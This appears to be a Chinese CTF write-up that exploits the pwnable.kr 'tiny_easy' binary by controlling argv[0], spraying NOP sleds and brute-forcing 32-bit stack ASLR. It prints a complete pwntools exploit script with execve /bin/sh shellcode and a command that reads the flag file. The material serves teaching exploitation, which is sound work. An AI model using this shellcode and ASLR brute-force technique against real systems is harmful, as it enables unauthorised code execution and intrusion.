前几天在国外的某个ctf社区发现了一道好玩的赛题。
建议ctfer在阅读这篇文章的时候,首先要掌握以下的一些内容,因为这些东西对于ctf比赛来说,都是很有必要掌握的。
- 基本的Linux知识
- 对于X86有基本的了解
- 了解堆栈工作原理
- C语言的基本知识
- 了解缓冲区溢出漏洞的原理
- 基本的python开发能力
本文涉及知识点实操练习:PWN综合练习(一) (CTF PWN进阶训练实战,尝试溢出一个URL解码程序。)
计算机字节和shell的魅力
我第一次接触到网络安全编程时,我就已经发现开发其实是一门艺术,并且研究员需要很高的水平才能胜任这一工作,因为很多时候你需要各种领域的知识进行结合。例如。C语言、汇编、堆栈、利用python进行漏洞开发利用等,当然,这些只是冰山一角。
对于一个刚进入漏洞利用开发领域的小白来说,这可能是很难的,因为这是一个从零开始进行积累的过程。
作为一名小菜鸡,我决定先挑战这个网站的最简单的pwn赛题。别问为什么,问就是别的试题太难了。
进入正题
让我们先进入SSH!
ssh [tiny_easy@pwnable.kr](mailto:tiny_easy@pwnable.kr) -p2222
(对于Windows用户,我强烈推荐使用xshell,它是一款很好上手的软件,可用于处理ssh会话并轻松下载软件)
在ssh内,我们运行“ ls”命令,仅找到一个二进制文件和我们的flag文件,由于我们没有任何权限,因此无法进行读取。
我们先下载二进制文件并对其进行一些检查:先使用“ file”命令进行查看。该命令可以让我们查看二进制文件的详细信息,包括其体系结构,位数(x64与x32)和其他很多的细节。
从输出的内容中我们可以看到,该文件是x86体系结构的32位ELF文件,并且是静态链接的。
可是等等… 注意这个细节!
让我们运行这个二进制文件,看看会发生什么情况:
从二进制文件具有损坏的header并且在执行时崩溃的情况可以看出,我们猜测现在这个二进制文件可能与通常我们看到的文件有所不同。
让我们在ida中打开二进制文件并检查代码
这可能是我见过的最简短的文件了,整个程序只有4条指令。
我们从栈中执行两个pop指令,从edx指向的地方取值,然后跳转到它。
但是等等......这个程序中没有进行任何调用,那么哪些值是从栈中弹出的呢?
我们还是用gdb来检查一下吧!
看一下堆栈,我们看到eax将接收值1,而edx将接收指向该字符串的指针
“/home/user/CTFs/Pwnables/tiny_easy/tiny_easy”,这就是我们的二进制文件的路径!
如果继续执行直到调用edx,我们就会明白为什么我们之前会收到段错误的原因了。
这个程序会试图跳转到地址0x6d6f682f,这对应字符串"/hom "的值。它是我们的二进制文件路径的一部分。
我们继续运行我们的程序,参数分别为test1 test2 test3。我们可以通过在gdb中运行以下命令来达到这一目的。
run test1 test2 test3
我们可以看到,现在堆栈已经发生了变化,现在我们的堆栈中有参数,并且堆栈顶部的值已从0x1更改为0x4。
还记得大一学的C语言中,main函数是如何接收输入的吗?
Int main(int argc, char * argv [], char * envp)
main中的argv [0]始终指向当前二进制文件的路径,argv [1] argv [2]等将包含我们输入的参数。
为了能够成功跳转到所需的位置,我们需要控制argv [0]的值。如果它不是我们输入的参数,我们该如何控制argv [0]呢?
下面隆重介绍一个在神奇的库文件 -- pwnlib,Pwnlib是一个python库,它使我们能够轻松的和进程进行通信。
pwnlib.tubes.process允许我们创建自己的进程并控制它的不同参数(argv,envp)等等。
我编译了以下的代码片段来展示pwnlib的简单使用方式:
int main(int argc, char * argv[])
{
printf("nthis is our argv[0] %sn", argv[0]);
}
当我编译运行它的时候,得到了以下的结果。
我们可以使用pwnlib将argv [0]修改为我们自己的字符串,
from pwnlib.tubes.process import *
argv_program=process(argv=["awdawd"], executable="/home/user/test_argv")
print argv_program.recv()
现在,运行我们的python程序,看看我们从test_argv程序中能得到什么结果:
NICE !
现在,我们知道如何控制argv0参数了,这意味着我们可以在tiny_easy二进制文件中的任意位置进行跳转。
下一步是检查此二进制文件的安全属性,让我们运行checksec命令看看效果:
RELRO:这里没有RELRO保护;
堆栈:未发现堆栈canary机制;
NX: NX已禁用;
PIE: 无 PIE;
注意:默认情况下,ASLR在堆栈中是启用状态。
NX保护是一种保护机制,它不允许我们在二进制的代码部分运行代码,这意味着我们不能跳转到栈或堆上的代码来运行它们。
在这个例子中,我们可以看到这个二进制文件是在没有保护的情况下进行编译的,这意味着我们可以跳转到堆上的代码。
这里需要强调一点的是:你如果一开始就直接检查这类保护,整个过程会给你节省很多时间。
在这个例子中,因为我们无法控制返回的地址,而且NX被禁用,那么我们最好的选择就是集中精力找到一种方法跳转到栈上,并执行我们存储在某个参数中的shellcode。
同时,另一方面,如果NX被启用了,那么这意味着我们无法跳转到堆栈,我们需要找到一种不同的方式来运行我们的代码(ret2libc等许多其他方法)。
现在我们可以控制我们要跳转的位置了,同时我们需要处理ASLR在堆栈层已经被启用这个问题。
我们可以尝试找一条允许我们跳转到堆栈的指令,然后运行我们的shellcode,程序中的其余字节是elf头的一部分。
我们也可以使用“ C”快捷键在IDA中查看这些字节的指令。
看来我们最好使用的指令是 "jmp esp"。这个指令将会跳转到堆栈,在那里我们能够得到我们存储在参数中的shellcode。
我喜欢手动进行搜索,所以我用online disassembling 来查找jmp esp指令由哪些操作码组成。
如果我们尝试反汇编jmp esp,那么得到的结果是:ff e4
我们尝试使用search-> bytesequence在IDA中搜索此字节。
what? 没结果?
我试着搜索调用esp的字节,却什么也没找到 !
这就郁闷了!
我们想跳转到堆栈上的代码,但是由于ASLR的存在,我们不知道要跳转到什么地址。
我们尝试找到一个指令,让我们在不知道地址的情况下跳转到堆栈,但我们没有找到任何指令。
我尝试了另一个骚操作:跳转到一个允许你向代码部分写入字节的指令。
你可以尝试用这个方法:用jmp esp操作码覆盖其中的一条指令的地址,然后跳转到该指令的地址。
这个过程就像开火车一样,边开边建轨道。
不幸的是,当我用view->Open subviews->segments看看有哪些段的权限的时候,发现了以下的内容。
代码部分仅启用了R和X权限
R-读取权限
X-执行权限
W(写)权限被禁用。
这意味着,如果我们重写代码部分的指令,程序就会崩溃。
我在这个程序上已经用了好几个小时了,尝试了不同的跳转指令的方法,但是我找不到进入栈的方法。
然后,what should I do?
32位的ASLR
我开始尝试查阅32位系统上的ASLR的实现原理(特别强调,我们的二进制文件是32位的)。我找到了下面的解释:
"对于32位,有2^32 (4 294 967 296)个地址,然而,内核只允许一半的比特位(2^(32/2)=65 536)在虚拟内存中执行"。
这意味着堆栈的大小可以调整到65,536个字节。
如果我们可以控制数万个shellcode字节,那么我们就可以尝试在堆栈中跳转到一个固定的地址,这样就会有很高的成功率。
下面我检查了一下是否可以用长字符串发送大量的参数。
from pwnlib.tubes.process import *
for i in range(600):
argv.append("a"*1024)
argv_program=process(argv=["awdawd"], executable="/home/user/test_argv")
print argv_program.recv()
在本例中,我们向程序发送了6014400个字节并成功运行。
我们可以传递我们的参数来填满nops,最后发送我们的shellcode。
这样,我们就可以跳转到堆栈上的一个随机地址,希望能够落在我们的nop指令上,然后我们就会一路滑向我们的shellcode。
我写了以下的代码,尝试执行程序。
我们在这里尝试跳转到堆栈上的一个恒定地址:0xffb05544,选择这个地址有两个原因。
1.在这个程序中,我注意到在用gdb执行了很多次之后,这个地址大部分时间都在堆栈的范围内或者非常接近堆栈的范围 。
2.我们需要一个没有任何null字节的地址,否则我们会得到
一个异常:"Inappropriate nulls in argv[0]:"
所以我写了以下代码:
import struct
import random
from pwnlib.tubes.process import *
from pwnlib.exception import *
import pwnlib
EXECV = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x89xc1x89xc2xb0x0bxcdx80x31xc0x40xcdx80"
def build_shellcode(address):
"""
Build shellcode
address - address to jump to
"""
args = []
args.append(address)
shellcode = "x90"*8000 + EXECV
for i in range(120):
args.append(shellcode)
return args
if __name__ == "__main__":
jump_address = struct.pack("I", 0xffb05544)
for i in range(10000000):
try:
prog_args = build_shellcode(jump_address)
print "attempt number: {}".format(i + 1 )
pro = process(argv=prog_args,
env={},
executable="/home/user/CTFs/Pwnables/tiny_easy/tiny_easy")
print "started_running address {}".format(hex(struct.unpack("I",jump_address)[0]))
pro.timeout=0.08
# Send command shell of the process
pro.sendline("echo we_made_it!")
# Recv the result of the command execution
data = pro.recvline()
if data:
print "received data!"
print data
break
except (EOFError, pwnlib.exception.PwnlibException) as e:
print e
这段代码会运行tiny_easy二进制文件并跳转到我们的shellcode,从而打开一个shell。如果我们成功了,那么我们将能够发送命令"echo we_made_it",看看它的输出。
说干就干!
成功了!现在我们来CTF服务器上检查一下。
请注意,我们需要将我们执行的命令从"echo we_made_it "改为 "cat /home/tiny_easy/flag ",这样就得到了flag。
我们可以使用 "scp "命令轻松地将我们的脚本上传到服务器的tmp目录下,就像这样。
scp -P 2222 ./pwn_tiny.py tiny_easy@pwnable.kr:/tmp/pwn_tiny.py
终于拿到了我们的flag !
总结
行文至此,本次测试也就结束了!文章略长,简单做个总结:
在本文中,我们通过使用CTF示例讨论了漏洞利用开发的过程,我们了解了程序如何从argv和argc接收输入的参数。最后,了解了由于较小的随机范围,32位系统中的ASLR为何容易受到攻击,以及如何利用此漏洞进行攻击。